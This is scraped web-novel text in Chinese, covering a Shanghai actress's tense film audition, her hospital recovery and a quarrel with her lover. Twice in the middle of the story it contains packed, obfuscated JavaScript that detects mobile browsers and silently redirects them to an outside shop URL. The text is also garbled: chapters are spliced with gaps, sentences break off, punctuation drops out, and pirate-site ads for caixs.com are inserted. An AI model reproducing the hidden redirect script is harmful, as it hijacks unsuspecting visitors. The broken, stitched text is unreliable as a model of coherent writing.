“鉴于敝公司的闻小姐在预选期间就将剧本背熟了,为求公正,这次不再用原剧本,而是请原作月照云女士根据女主角的性格重新拟了三段戏,都是独角戏,分别是南淇十六岁、二十四岁、三十一岁时的生活场景,每场戏八分钟……” 闻亭丽越听越觉得心慌,比起几位女明星,她唯一的优势就是熟知剧本,现在连这优势也没了。关键是,三段戏里有两段需要用激烈的肢体动作来展现情绪,可她的胳膊—— 不容闻亭丽多想, 一位同事就过来让她去化妆室做准备。一个姓赵的场记气咻咻闯进来说:“楼下来了好些报社的记者。 举座哗然。 “不是说好了要保密的吗,究竟谁通知的报社? 乐知文淡讽瞥向对面的小蝶君和玉佩玲,玉佩玲冲小蝶君翻了个白眼,小蝶君却似笑非笑盯住这边的周曼如。 只有周曼如淡定自若翘着二郎腿阅读手里的剧本。 闻亭丽的眼色也跟着几个女明星转来转去,起初她料定这帮记者是玉佩玲的经理找来的,后来又怀疑是小蝶君放的风,现在么,她已经彻底糊涂了。 她只看出,这角色大家都想抢。 “实在拦不住了!刘老板,黄导演、顾老,要不让他们上来吧。 “限定三十名记者上楼,每家报社分一个名额。还有,稿子发出之前得先让我们公司的公共事务部先过目。黄远山掏出手帕擦擦汗。 在四位女明星去往化妆间时,三十名记者将走廊堵了个水泄不通。 “周小姐,您因为受伤的缘故有半年多没拍过戏了,此次来黄金影业参加试镜,有什么想对影迷们说的吗? “听说最近大东银行的麻老板在追求玉佩玲小姐,不知此事确否?玉小姐讲两句。 “小蝶君!小蝶君看这边!您跟玉佩玲向来是劲敌,这次您有信心赢过玉佩玲吗? “乐知文小姐请留步,九月中旬您就要开学了,有没有想过大学的功课会跟拍戏产生冲突,您打算如何化解这一矛盾? 闻亭丽耳朵被吵得要炸开,好在她这边人少,只在走廊里卡了一会就顺利摸进了化妆室,其他几位女明星则各自被围堵在某角落接受采访,依闻亭丽看,采访只不过是幌子,这帮记者起码有一半是影迷,不管最终结果如何,各大报纸少不了为自己偏爱的女明星说话,到那时候一场舆论恶战在所难免。 好不容易安置好这帮记者,比赛顺序上又出现了摩擦,四位女明星都以自己另有安排为由,纷纷要求早点上场,可她们又都不肯第一个试镜。 之后在选择化妆间时也不消停,女明星们自己都还没说话,经理们就不容分说争抢那间最靠里的两间独立化妆间。 这样闹来闹去,试镜一直拖到九点多才开始。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603295|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不出所料,闻亭丽被安排在第一个试镜,不必说,这又是出自三位制片人的授意,像闻亭丽这样的小角色,自是越早下场越好。 为了不让大家看出自己是带伤上场,闻亭丽特意挑了一件长袖的旗袍换上,对着镜子最后整理一下妆容,就匆匆上场了。 一进去,就感觉无数道目光朝自己设来,席上依次坐着翁主席、刘梦麟、黄远山、三位制片人,每人拥有独立的打分权,分数最多者胜出。 月照云女士则作为重要嘉宾在旁边观看比赛。 闻亭丽望望席上,又望望外廊上的记者们,她是最不被看好的一个,周遭的氛围告诉了她这一点,席上起码有三位重要评选人毫不掩饰地打起了呵欠,记者们的目光更是透着漠然和挑剔,这让她产生一种感觉:接下来不论是随便走个过场,抑或是奋力拼一把,都改变不了结局。 是错觉,她旋即告诉自己,不努力到最后一刻才不要认输。 “闻小姐,开始吧。 第一场戏只有一行字。 【十六岁的南淇放学回家,意外发现母亲又咯血了。】 根据闻亭丽的理解,这场戏的重点在那个“又字上。 “又——说明南淇的母亲已经不是第一次咯血,那么一味的惊慌失措是不对的,这里的南淇必须表现出一种富于经验的担忧。 这个尺度很难把握,演过了就显得假,演得不够又无法打动人。闻亭丽只在脑海中回想父亲住院时的光景。不,不是父亲第一次被邱大鹏重伤,而是后头病情加重的那几次。 当时自己是怎样一种情绪来着? 或许是那段经历给闻亭丽留下的刺激太深,她几乎只用了两秒钟就进入了状态。 这场戏一演完,制片人不再频频打呵欠了,屋内外一阵鸦雀无声。 很快进入第二场戏。 【二十四岁的南淇望着桥下的滔滔的江水,无数次想纵身跳下,但最终,求生的意志让她走下大桥。】 关于这幕戏如何演,闻亭丽先前在化妆间里独自揣摩了许久,二十四岁的南淇已经不再是当初那个不谙世事的少女,不论生活带给她什么样的苦难,她都坚强地扛了过去,这次究竟是什么样的打击,居然让 南淇彻底丧失了生活下去的信心,相信不仅仅是日常生活的痛苦,或许还有来自亲友的背叛和欺骗。 闻亭丽想象着“南淇这一路走来的心理状态,泪花不知不觉从眼角冒出来。 屋子里的人尽可能用挑剔的眼光看待闻亭丽的表演,但她脸上的的确确表现出了一种真切的悲痛和绝望,真得不能再真。 在众人的注视下,南淇摇摇晃晃走到桥头,表情空茫地望着下面,仿佛有风吹来,吹涩她的眼眶,她木着脸立在桥头,无意识圈紧自己的胳膊,就在这时,她的肩膀猛地抖动了一下。 很快,她的额头冒出了大颗冷汗,脸色更是煞白,与此同时,她的脸上终于出现了强烈复杂的情绪,她开始崩溃恸哭,嘴唇和下巴难以控制地颤抖。 只这几个动作,所有人都看明白了。 这个“南淇 奇怪的是,明明知道是表演,却让人忍不住误会这女演员是真的受了伤,太逼真了,她的每一次皱眉,每一个哆嗦都能让人跟着心头一紧。 在座的只有黄远山知道是怎么回事,她一面在心里为闻亭丽喝彩,一面暗骂闻亭丽为了表演不顾自己的死活,有那么几次,她担心得差点从席上跳起来,最终因为怕影响闻亭丽的状态,又强按着坐下。 这场戏演完,屋内屋外不复方才的平静,而是如同炸开了锅一般,嗡嗡嗡响个不停。 身为文艺界人士,大伙都知道优秀演员往往能将悲痛等不同情绪展现得惟妙惟肖,但不是所有人都能将躯体上的“疼痛演得如此逼真的。 方才那一幕,让人不知不觉跟着咬紧牙根,他们开始用全新的目光认真审视面前这个名不见经传的女演员。 到第三场戏时,周围投来的目光里,隐隐约约多了一份期待。 黄远山反倒担忧起来,假如最后这场不比前两幕戏发挥得更好,只会让人产生落差感,反倒不如“一开始不够好,后头好来得好。 另一方面,演员是能感知观众对自己的期待的,压力一大,就容易发挥失误。 她紧张地把手握成拳放在嘴边咳嗽一声。 她没猜错, 闻亭丽的的确确在发愁该怎样表演。 【三十一岁的南淇独自坐在黄昏的房间里抽烟,抽完一根烟,她从抽屉里取出一把枪,对着自己的太阳穴扣动扳机。】 没有前因,没有交代任何背景,没有人知道南淇为什么这样做。 编剧月照云甚至没有花笔墨描写南淇此刻的表情和情绪。 这场戏给了演员最大程度的发挥空间,却也让人有一种无从下手之感。 二十四岁那次扛过去了,三十一岁的这一次为何走得如此决然? 一个人独坐在窗前抽烟时,“南淇”的脑子里究竟都在想什么。 一直揣摩到最后一刻,闻亭丽都还没有拿定主意该怎样演绎。 “闻小姐,时间到了。” 闻亭丽硬着头皮接过工作人员递来的道具,“窗前”有桌有椅,她若有所思走过去坐下,当二号镜对准她时,状态瞬间不一样了。 脸还是那张脸,衣服也没换,眼神和姿态却足足苍老了十岁,抽烟的姿势很娴熟,甚至透着点油滑的感觉,坐姿也有点“不正经”,一手抱胸,另一手懒洋洋夹着烟。 众人看得大气不敢出,任谁也无法将眼前这个“南淇”跟前两幕戏的“南淇”联系在一起。 “南淇”静静对着窗外吐烟圈,脸上没有激烈的情绪,相反,她十分豁达和平静。 低头掸掸烟灰,她的鼻腔里哼起了歌,歌是十年前流行过的渔光曲,曲调有点悲伤,可她哼唱得很轻松。 哼了半截,不知想起了什么,南淇“哧”地一笑,接下来,她没有再吸烟,也没有再哼歌,只是夹着烟管在那儿想着什么。 很长一段时间,她看上去不像一个真人,倒像一座木雕,她的脸上没有恨,也没有悲,只有一片空白,她安静到连头发丝都垂在那儿一动不动。 看到此处,场内有人不由自主松松自己的领口,太压抑了,一种无法言喻的沉闷感压在心头上,这女人的神态活像是陷进一个看不见的深渊,那是生活中的的沼泽,现在的南淇,正随着沼泥缓缓沉没,没人可以伸手拉她一把。 不少人被这一幕勾起了内心深处的忧恐,生活的路从不平坦,自己的沼泽地只能靠自己的力量爬出来,可是,这个女人显然已经累坏了,因为只有最深的绝 第 59 章 【六更合一】刻骨... 第59章【六更合一】刻骨. 来人却不是陆世澄,站在最前面的是邝志林,后头则是黄远山和一帮女孩子。 “是是是,你赢了。”燕珍珍和高筱文不容分说把闻亭丽往床上摁,“受伤了也不老实,还不快上床躺好。” 闻亭丽哑然失笑:“你们怎么过来了?别担心,我没什么事,大夫说好好养两天就可以出院了。” “高筱文消息最灵通,她听说你试镜成功,立即打电话召集同学们一起去向你道喜,不曾想没能找到你,倒看见黄姐忙着应付那帮记者,后来黄姐成功甩开记者来找你,我们就跟来了。” 女孩们七嘴八舌说个不停,闻亭丽喜在心头:“你们先坐下来喝口水再说行不行?这边有水果,那边有茶,我现在吊着膀子不好动,拜托你们自己招待自己。” 邝志林笑着吩咐看护:“把水果切好端过来,再给几位女士沏几杯茶。” 众人这才注意到病房里装满了新鲜水果和营养品,就连茶罐和茶具都准备了中式和西式各一套。她们平日在家里虽然也是娇生惯养,见此情景仍不免叹服:“这堆吃的喝的都够开一个进口商行了吧,这都是陆先生——” 闻亭丽忙用牙签扦起一块瓜堵住燕珍珍的嘴。 黄远山在一旁招手:“我说,这蜜瓜确实甜,你们不尝尝吗?” “黄姐别拉偏架,电影还没开始拍,你就充当起闻亭丽的经理人了?” 一片笑闹声中,邝志林微笑告辞,闻亭丽下床追出去。 “邝先生。” 邝志林在门外止步:“还没向闻小姐道贺呢,听说今日这场试镜竞争异常激烈,闻小姐能够脱颖而出,委实了不起。” 闻亭丽问:“陆先生他……没来么。” “哦,澄少爷在事务所跟黄金影业的人谈《时间的沙》的合作事项。鉴于陆家是第一次投资电影业,澄少爷特令几位陆家相熟的律师主理合同事宜,此外,日新船厂有几桩要务立等澄少爷的示下,这些事都亟待处理,澄少爷一忙完就会来找闻小姐的。” 闻亭丽不好说什么,只得笑着嗯了一声。 邝志林看看闻亭丽受伤的肩膀,笑容微敛。 “恕邝某多嘴一句:再 重要的比赛还是没有自己的身体重要下次万万不可如此拼命了。今天的事不只澄少爷牵肠挂肚连我们听了也相当震惊。” 闻亭丽赧然点头。 “我已经派人去接周嫂和小桃子了闻小姐只管安心养伤。有什么需要的吩咐他们一声便是。” 闻亭丽目送邝志林离开一回房就听黄远山说:“又是定蛋糕又是定台子的万一人家另有安排呢?先听听闻亭丽自己怎么说吧。” “她回来了。闻亭丽大后天就是你的生日了你打算怎么过?”燕珍珍问。 闻亭丽一愣。 “你自己都忘了对吧?”赵青萝上前扶住她“上次在卡尔登电影院门口 “变什么卦?!当然要跟你们一起过暑假里我们也没能好好聚一聚趁这机会尽兴玩一天吧我们去康乐酒家大吃一顿吃完就去看电影全部费用我来报销。” 黄远山摆摆手:“这次我来请吧。我让人去仙乐丝定一个大包厢再订些酒菜和西点大家跳舞划拳玩上一整天岂不比看电影更热闹自在。今天的试镜比赛闻亭丽委实给我长脸于情于理都该我来做东就当预祝《南国佳人》拍摄顺利了。” 高筱文却说:“别呀老是这几家吃来吃去的也都吃腻了我哥新筹备了一家粤菜饭店预备礼拜日正式开业厨子是从广州和潮州两地请来的大师傅那些菜保管你们全都没吃过开业那日每桌都便宜一块大洋到五块大洋不等岂不比去康乐酒家划算得多?” 燕珍珍奇道:“你居然肯光顾你哥的生意?” 高筱文厌烦地说:“他手里生意太多管不过来前几日用饭店的一半分红诱我做东家之一否则我才懒得帮他拉生意呢。” 闻亭丽欣然鼓掌:“那就这样说定了。” 恰在此时周嫂和小桃子来了。女孩们像蜜蜂见了糖一样忙围住小桃子。 黄远山朝门外瞟了眼见是陆家的随从帮忙把周嫂和小桃子送来的不由得会心一笑对闻亭丽挤挤眼睛:“放心那天我们玩到傍晚就散不会闹你一整天的。” 闻亭丽只装糊涂。 黄远山也不拆穿她:“这几天好好养伤下礼拜《南国佳 人》可就正式开机了,这次可是动真格的了,这几天你抓紧时间把学校和家里的事都安排一下,省得到时候弄得焦头烂额的。 众人待到四点钟才走。 周嫂听看护说闻亭丽为了比赛把自己弄脱臼了,吓得一个劲念“阿弥陀佛,又怪闻亭丽太不把自己的身体当一回事,说万一弄出什么后遗症可怎么办。 闻亭丽无奈叹气,今天每个人见她少不了说她一顿,想解释几句,好像也没多大意思,毕竟他们是真的关心自己,只好“嗯嗯啊啊点头,一面带小桃子认字卡。 等了一个多钟头也不见陆世澄过来,闻亭丽有点躺不住了,让周嫂去外面帮忙买几份报纸来解闷。 过不多时,就听周嫂在门外说:“陆先生。 闻亭丽赶紧趿鞋下床。 这回进来的正是陆世澄,他身后是刘主任,刘主任在向陆世澄交代她的病情。 “这两日千万别再乱跑乱动,出院后的两个月也要避免用患侧提重物,不必担心,闻小姐年轻体健,不会留下什么后遗症的。 闻亭丽便站定了脚,然而眼睛望着陆世澄,笑意藏不住。 刘主任含笑告辞而去,周嫂顺手将报纸递给闻亭丽:“喏,《沪江早报》和《电影周报》都卖完了,只有《申江报》了。 陆世澄不等闻亭丽伸手,直接从周嫂手里拿过报纸,另一手握住闻亭丽的胳膊肘,稳稳当当把她往床边领。周嫂见状,二话不说把小桃子拉了出去。 闻亭丽就这样被他一路牵着到了床边,陆世澄随手将报纸放到一边,按着她未受伤的肩膀让她在床边坐下。 闻亭丽仰头看着陆世澄,她知道,接下来要轮到陆世澄教训她了。 这些人当中,陆世澄是最有资格生气的,毕竟受伤那日他第一个赶到她身边,住院期间更是无微不至照顾着她。 她却因为一场比赛让自己的伤势再度加重。这事她无法辩驳,试镜时陆世澄也在,她对自己有多狠,他全都看在眼里。 他会是什么反应,她心里也有点没底,偷眼一瞟,他的装扮依旧整洁得无可挑剔,但额角有汗,分明是一忙完就急匆匆赶来了。 她灵机一动,抢先说:“我帮你倒杯水。 他却再次把她摁在床边, 俯身望向她受伤的肩膀,默半晌,抬头用眼睛问她。 【疼不疼?】 闻亭丽忙摇头。 陆世澄一言不发蹲下来看看她腿上的几处擦伤,随后,重新直起身端详她的脸色,看了一会,面色稍霁,从口袋里取出他那个从不离身的小本子,在上头飞快写下几行字递给她。 闻亭丽料定他会劈头盖脸说她几句。例如那一次她在义卖会上惹怒了陆世澄,他轻描淡写的几句话就让她窘得恨不得钻进地缝。 他只是一贯理性和知礼,但不代表他生气时言辞不犀利。 她恨不得把眼睛眯成一条缝去看本子的字。 陆世澄望着她笑起来。 【一整天都没好好吃东西,饿不饿?晚上想吃点什么?】 闻亭丽怔忪片刻,心头一松:“我不饿,我现在哪有胃口吃东西,我一直在等你!” 她兴奋地起身,边说边把脸凑到他面前。 “我赢了!我真的赢了,我太高兴了!” 他点点头,是,她赢了,他很为她高兴。 “可是你看上去并不是很开心,你是不是有点怪我?” 陆世澄睨着她。 胜利和荣耀让她整个人在发光。 谁有立场怪她呢? 任何人都没有这个资格,包括他在内。 她是个孤儿,万事只能她自己做主。一个角色对别人来说或许不算什么,对眼下的她来说却是全部,就算只有一线机会,她也会拼尽一切去争取。 哪怕再心疼,对于她这种对于成功的渴望和野心,他也只有选择体谅和理解。 在陆世澄长久而无声的注视中,闻亭丽渐渐不安起来。他的眼神始终是冷静柔和的,让无法她猜透他此刻的情绪。 这大概是两个人自确定关系以来,第一次在某件事上产生龃龉。他自有他的立场,可是她——她也不想在原则问题上退让。 他会不会因此认定她毫不在乎他的想法?她想了想,轻轻抓住他的手:“你听我说——” 陆世澄却摇摇头。 【我没有怪你,因为你没有任何做得不对的地方。这次是我太大意了,才会让坏人伤害到你,下次我会更好地保护你。】 越是深沉复杂的情绪,越是无法 用平静的方式表达出来他写得很快因而字迹显得有些潦草然而字体仿佛有生命力一般一一在纸上跳动着闻亭丽无意识摸了把纸片上的几行字一下子竟像触到了他的心滚烫的柔软的。 写完之后他摸摸她的脑袋动作充满疼惜的意味。 闻亭丽只觉得喉头像堵了一团棉花。 没有指责和规劝他把“下次注意”留给了他自己她看着那行字轻声喊他:“陆世澄——” 陆世澄立即露出认真的神态听她往下讲他并不知道他这种温柔专注的样子有多让她倾心。她情不自禁搂住他的脖子在他耳边说了一句什么。 【什么?】他含笑侧头看她。 “我说——”她闭眼吻住他的唇贴着他的唇瓣喃喃地说“陆世澄我真喜欢你。” *** 接下来这几日陆世澄大部分时间都在医院里照料闻亭丽。 自从母亲去世后闻亭丽已经许久没过得这样惬意了 在此期间有一位老熟人前来探望她是包律师身边的助手律师刘亚乔小姐。 刚好那会儿陆世澄和周嫂都不在闻亭丽午睡刚醒就听见刘亚乔拎着一袋营养品在走廊里打听:“闻亭丽小姐住在哪间病房?” 闻亭丽大喜过望忙对看护说“那是我学姐快请她进来。” 刘亚乔一进屋就松了口气。 “还以为自己找错病房了。昨天给你家里打电话一直没人接我担心你出事遂给青萝她们打电话结果她们告诉我你住院了究竟怎么回事身体还好吗?” 闻亭丽笑着说:“没什么大碍上礼拜不小心把胳膊摔坏了如今已经好得差不多了。亚乔姐你找我什么事?” 刘亚乔笑着觑了觑看护看护后知后觉拿起水壶等到看护掩门出去刘亚乔才开腔:“包律师从美利坚回来了他听说你找过他几次都扑了空对你深感抱歉他最近会一直待在上海让你尽快拿着合同去跟他兑换那笔钱。” 闻亭丽一滞随即点点头说:“我明天——” 不行明天她过生日。 “后天 行不行?” “没问题。对了,你们那部戏什么时候开机?沪江大学九月中旬就开会,到时候你既要上课又要拍戏,确定能忙得过来吗?” 闻亭丽笑着说:“亚乔姐,你又不是不知道我这人一向精力旺盛,再说黄姐到时候也会根据我的课程随时进行调整,不会影响我学业的。” 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节) *** 当晚,闻亭丽把自己明天出去玩的计划告诉了陆世澄,但她没说为了庆祝生日,只说是好朋友们想要聚一聚。 她拿不准陆世澄是否还记得她的生日,比起自己主动告诉他,她更期待他能够自己想起来。 说这话时,陆世澄正帮她削苹果,闻言像是很意外,抬头朝她看过去。他问她明日会玩到什么时候,需不需要他去接她。 “不用来接我,我大概会——玩到六七点钟再回家吧。” 陆世澄没再多问,一整晚,他都没有主动提起她过生日的事,闻亭丽隐隐有点失望。 第二天一早出院到家,闻亭丽进屋第一件事就是打开窗户透气,周嫂也不知从哪位病友口里听了个偏方,一回家就煮了一锅艾叶汤逼闻亭丽重新洗了个澡,说是这样可以祛病气和晦气。 洗漱完,闻亭丽找出上次那条百合色的洋装穿上,这柔美的颜色相当符合她此时的心境,又将陆世澄送她的粉钻项链戴上,揽镜一照,相当满意,她高高兴兴打扮完自己,又将小桃子捉到自己身边装扮一番。 忽听到窗外的喇叭声,原来是高筱文几个开车来接她来了。 闻亭丽向周嫂撒娇:“要不您跟我们一起去吧,求您了。” 周嫂的脑袋摇得像拨浪鼓:“我可不去,你们一堆小姑娘,我一个半老太太去凑什么热闹。” 闻亭丽只好牵着小桃子出来,周嫂急急忙忙追到门口:“你们下午是不是还要去跳舞?那种地方人多眼杂,万一照看不过来就糟了,要不等中午你们吃完饭,我去把小桃子接回来,上次就跟你说小桃子的鞋子有点挤脚了,不如顺便给孩子买几双鞋袜。” 闻亭丽想了想:“一点半左右您去高家的饭庄接小桃子,正好我想打包几个菜给您带回家尝尝鲜,那家饭店地址在……” 这时门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“瞧见了吧这次你试镜算是出名了。”高筱文说“大家都好奇究竟是什么的电影天才能压过玉佩玲周曼如这样的大明星还有谣传说演员其实早就内定了玉佩玲她们不过是黄金公司为了制造热度的牺牲品现 在大部分影迷都在为她们打抱不平,对于你和黄金影业,影迷们大多没什么好感。 赵青萝在后头接话:“闻亭丽,我劝你这几天就别看报纸了,那些难听的话我怕你看了糟心。 闻亭丽却对此看得很开。 “嘴巴张在别人身上,爱怎么说就怎么说吧,反正电影总归要上映的,我这个新人究竟是不是靠走后门入选的,等他们看了电影自有定论。 燕珍珍一拍手:“你们听听,我真喜欢她这副骄狂派头。 高筱文哼笑:“别人是鲜花,她呢,是仙人掌,渴不死,晒不死,风吹不倒,雷劈不动—— 闻亭丽听得直笑,可她的注意力很快被《花花电影》上的另一则新闻攫住了。 该报道附了一张照片,照片中心是玉佩玲,旁边有个年轻男子的侧影,两人距离非常近,很明显是偷拍的,因为照片上男子的轮廓有点模糊。 但闻亭丽一眼就认出那是陆世澄。地点她也瞧出来了,正是那日试镜比赛的走廊上。 标题是【近日又一豪门公子拜倒在电影皇后玉佩玲的石榴裙下。】 文中写道:“当日天气炎热,该豪门公子为了追求玉小姐,竟专程赶到试镜场外守候,一直守到下午才离开。此人受过高等教育,身家万金,为人低调谦和,向来受沪上名媛青睐……此番痴情举动,不知能否俘获玉小姐的芳心。 全文没有提到陆世澄的大名,但正文里隐晦地提到了几处陆家的背景,让人不难猜到文中说的就是陆世澄。 不必猜,这稿子定是玉佩玲身边那个叫陈茂青的经理发布的。 有了这桩绯闻,即便当天试镜赢的人是小蝶君或是周曼如,坊间的注意力也会被玉佩玲一人全吸走。被人追求并不损及她的个人形象,反而有利于为她争取到一些符合她自身魅力的剧本和角色。 偏偏那天的比赛爆出了她这个大冷门,陈茂青的如意算盘最终落了空,否则这几天电影类的报纸恐怕全是玉佩玲和陆世澄的花边新闻了。 高筱文忍不住问:“这上头写的是陆公子吧?玉佩玲我也打过几次交道,她本身人不坏,最坏的是她身边那个陈茂青,这人是电影界的老油条,一贯喜欢用这种下三滥的方式帮手底下的女明星抢风头,对了,陆公子 知道这件事吗?难道他就任凭他们乱写? 燕珍珍嗤之以鼻:“他们巴不得陆家回应呢,一旦陆家站出来跟他们扯花头,在外界眼里无异于不打自招,这件事可就永远撕扯不清了,最聪明的做法就是像陆世澄这样,理都不要理。 正说着,前方传来一阵热闹的爆竹声,原来已经到饭店了。 这家由高庭新兄妹新开的饭店名叫“鼎新大饭店,取“革故鼎新之意。 在做生意这一块,高庭新公子是越挫越勇,继上次投资逸菲林百货公司失利后,这次他决定从小本买卖开始做起,比起高家的其他买卖,一家粤式酒楼固然是毫不起眼,但与同类餐馆相比,也是声势不凡,今天是开业第一天,高家请来了好些客人来捧场,不是达官丽殊,就是商界巨子。 进去一看,装修豪华到了令人咂舌的地步,大厅铺满了从苏门答腊运过来的柚木地板,就连盥洗室的壁灯据说也全是从意大利国订制的手工水晶灯。 高庭新听说妹妹带了一帮朋友来捧场,亲自迎下楼来,看见闻亭丽,俊脸上浮出一丝笑容。 “不得了,大明星来了。说着便指挥仆从将一行人领到二楼的贵宾包厢落座,自己立在桌边,将胳膊扶在闻亭丽的椅背后面,“听说闻小姐是今日的寿星?正好赶上鄙店隆重开业,岂不是喜上加喜,想吃什么随便点,这桌由我来买单。 闻亭丽面含笑容,身子却不大自在地向前面倾了倾,高筱文拍开哥哥那只绕在闻亭丽肩后的胳膊。 “说话就说话,能不能把你的臭手拿开。 高庭新一脸无辜把手举得高高的。 “高筱文,你扪心自问,我何时打过你这班同学的主意,哪一次不是对她们客客气气的?再说,闻小姐她已经有了—— 众人只得笑脸相送,重新落座后,赵青萝一边翻看菜单一边问。 “黄姐怎么还没来? “外头是不是黄姐的声音? 黄远山像是遇见了什么熟人,在门外说了好一会才进来,一进门就说:“筱文,你们高家可够有面子的,光是上楼这几步,我就碰见了公共租界工部局局长、法租界巡捕房警长、王家白家孟家一干人,这一路忙着打招呼 第 60 章 【第一更】闹掰。 第60章【第一更】闹掰。 闻亭丽急声说:“您就说我有非常重要的事要当面跟陆先生说,无论如何我在这里等他,请您务必帮忙通传一声。” 刘管事望了眼闻亭丽脖子上那异常夺目的红宝石项链,稍稍迟疑,点点头道:“外面雨大,闻小姐快请进来等吧,我去帮您传话。” 这间门房设在侧门内,面积大约有二十来个平方,内有沙发和椅子可以供访客休息,闻亭丽进来后,却只是一动不动杵在那儿。 她的一颗心似在油锅里煎熬,除了等待什么也做不了。 刘管事大约去了十多分钟才返回。 “闻小姐请回吧,陆先生不会见你的。” “您有说是闻小姐找他吗?!我真有极其重要的事要对他说!” “说了,都说了。”刘管事表现得耐心十足,然而口吻没有半点商量的余地,“澄少爷他不想见你。闻小姐,您就别让我们为难了,请走吧。” 闻亭丽就这样被“请”出了陆家的门房。刘管事心地不错,推她出来时,顺便将一把伞塞到她手里。 闻亭丽丧魂落魄立在门口,那句“他不想见你”像一颗锐利的钉子直插入她的脑仁,让她太阳穴突突地跳痛,她不死心地上前拍拍门,可这次再没有人过来应声。茫然回过头,就看见前方停着那辆车,两名随从并不知道发生了何事,从刚才起一直在车旁等她。 望见他们,闻亭丽绝望的心重新燃起了一丝希望——陆世澄没有将他们撤走,说不定,说不定,他现在只是在气头上,她只要让他相信:她在他面前没有演戏,他对她来说无比重要。 他一定会消气的。 她继续在门前等候,不断有雨点溅到伞下,将她的衣裳浇湿了半边,那股冷意简直能沁到她骨头缝里去。 她知道,陆公馆历来戒备森严,门外的这些情形自会有人告诉陆世澄的,她不信他会忍心一直将她拒之门外。 但她料错了,刘管事离开之后,非但再也没有人出来招呼她,就连驱赶她的人都没有。 眼前的陆公馆像是陷入了沉睡的兽,无比的黑,无比的冷酷,。 她怀疑,就算她在雨中等到天亮,陆世澄也不会理她的。 就在这时,原本幽黑的陆家花园,突然亮起两道雪白的亮光。 是一辆汽车。 汽车一路疾驰,很快驶入花圃前的主道,伴随着两道越来越近的车灯,陆家那两扇紧闭的大门终于开了。 车内坐着的并非陆世澄,而是邝志林。 闻亭丽并没有失望,哪怕是邝志林,也比刚才那种无望的等待要强一百倍。 “邝先生,请你带我进去,我想见见陆先生。 邝志林用一种奇特而陌生的眼神打量闻亭丽,只这一个照面,闻亭丽心中的希望就被浇弱了几分。 那种戒备的神态又重新回到了邝志林的脸上。 果然,他只是很客气地说道:“闻小姐,太晚了,雨也大,这样下去你会着凉的,我让他们送你回家。 “不,在没见到陆先生之前我是不会走的,邝先生,请你帮忙传个话,我跟陆先生之间产生了一点误会,我只见他一面就走。 邝志林无奈地说:“闻小姐,你应该很清楚,一向我只负责传话,不能擅自替澄少爷做任何决定。刚才这话是澄少爷自己的意思,他请你立刻离开陆公馆。 闻亭丽面色一白,再大的雨浇到头上,也不会比这句话更让人浑身发凉。 隐约听见邝志林叹了口气。 “你们护送闻小姐回去吧。 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) 闻亭丽心一横,双手松开伞柄,眼睛一闭倒在了车边。 雨点立即噼里啪啦打在她的脸上,但她纹丝不动躺在那儿,就听邝志林讶然低喝道:“闻小姐?闻小姐! 闻亭丽不肯睁眼,不管用什么方法,总要再见一次陆世澄才死心。 可是她高估了自己的体力,这一猛子倒在雨中,竟真的昏过去了。 *** 不知昏睡了多久,闻亭丽被一阵奇异的动静惊醒。 睁开眼,映入眼帘的是高阔的法式屋顶,她的思绪仍旧有点飘忽,迷迷糊糊在枕上转动脑袋,不期然看见了一扇漂亮的窗。 闻亭丽猛地坐起身,这房间她来过,是陆公馆一楼的客房,她崴脚的那一次,陆世澄就令人把她安置在此地。 没有错,窗外正是陆家的花园一角,而刚才吵醒她的,恰是花园里的鸟叫声。 她心头一喜。 没有陆世澄的准许谁敢把她安置在陆家的客房看样子昨晚在得知她昏死过去后陆世澄到底还是对她心软了。 她忙下床穿鞋床头柜摆着一份粥点这让她益发欣喜。这时一个老妈子蹑手蹑脚推门进来了恰是上回负责照顾闻亭丽的刘妈。 “闻小姐你醒了。” “刘妈又给您添麻烦了。” 刘妈热情地说:“快别这样说大夫说你没什么事就是情绪太激动了。闻小姐先吃口东西我去告诉邝先生你醒了。” 她将手中托盘递给闻亭丽里面是牙粉和毛巾等物。 闻亭丽对着刘妈离去的背影发问:“昨天晚上是陆先生让人把我送进来的吗?” “正是呢。澄少爷听邝先生说你昏过去了急忙让人把你抬进来还连夜去请路易斯大夫给你瞧。” 闻亭丽心里甜津津的捧起毛巾和牙粉进盥洗室里细细梳洗一番。 出来不见刘嫂返回便慢吞吞将那碗粥喝了。 不一会刘嫂回来了。 “邝先生请闻小姐去客厅见他。” 闻亭丽忙随刘嫂出去客厅里那扇通往花园的落地窗大开着犹如打开了一扇通往天堂的门不断有阳光、空气和怡人的花香涌入客厅。 邝志林独自坐在阳光里看报纸看见闻亭丽他忙放下手里的咖啡杯和报纸。 “闻小姐请坐。” 闻亭丽看看四周没有看到陆世澄。 邝志林挥退客厅里的下人们。 “澄少爷不在家里他一早去公司交代事情了今晚会启程回南洋。” “什么?”闻亭丽浑身一震。 “南洋本就堆了不少要务此前澄少爷因为舍不得跟闻小姐分开才迟迟没动身 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节)经过昨晚……澄少爷似乎觉得没有继续耽搁下去的必要了所以决定尽早启程。” 闻亭丽无法控制自己的失措:“他什么时候回来?” “说不准。” “难道他以后都不想再见我了?” 邝志林欲言又止。 闻亭丽冲口而出:“他要是不想见我昨晚为何还要管我的死活?就让我死在雨里不好吗?!” “闻小姐请你冷静一点。” 闻亭丽跌坐到沙发上,双手捂住自己的脸。 邝志林叹口气:“我不大清楚你跟澄少爷之间究竟发生了什么事,但你应当很清楚澄少爷的为人,他这人,向来很懂得体谅人,从不冲动行事的,这样做,应当是经过了一夜的深思熟虑。 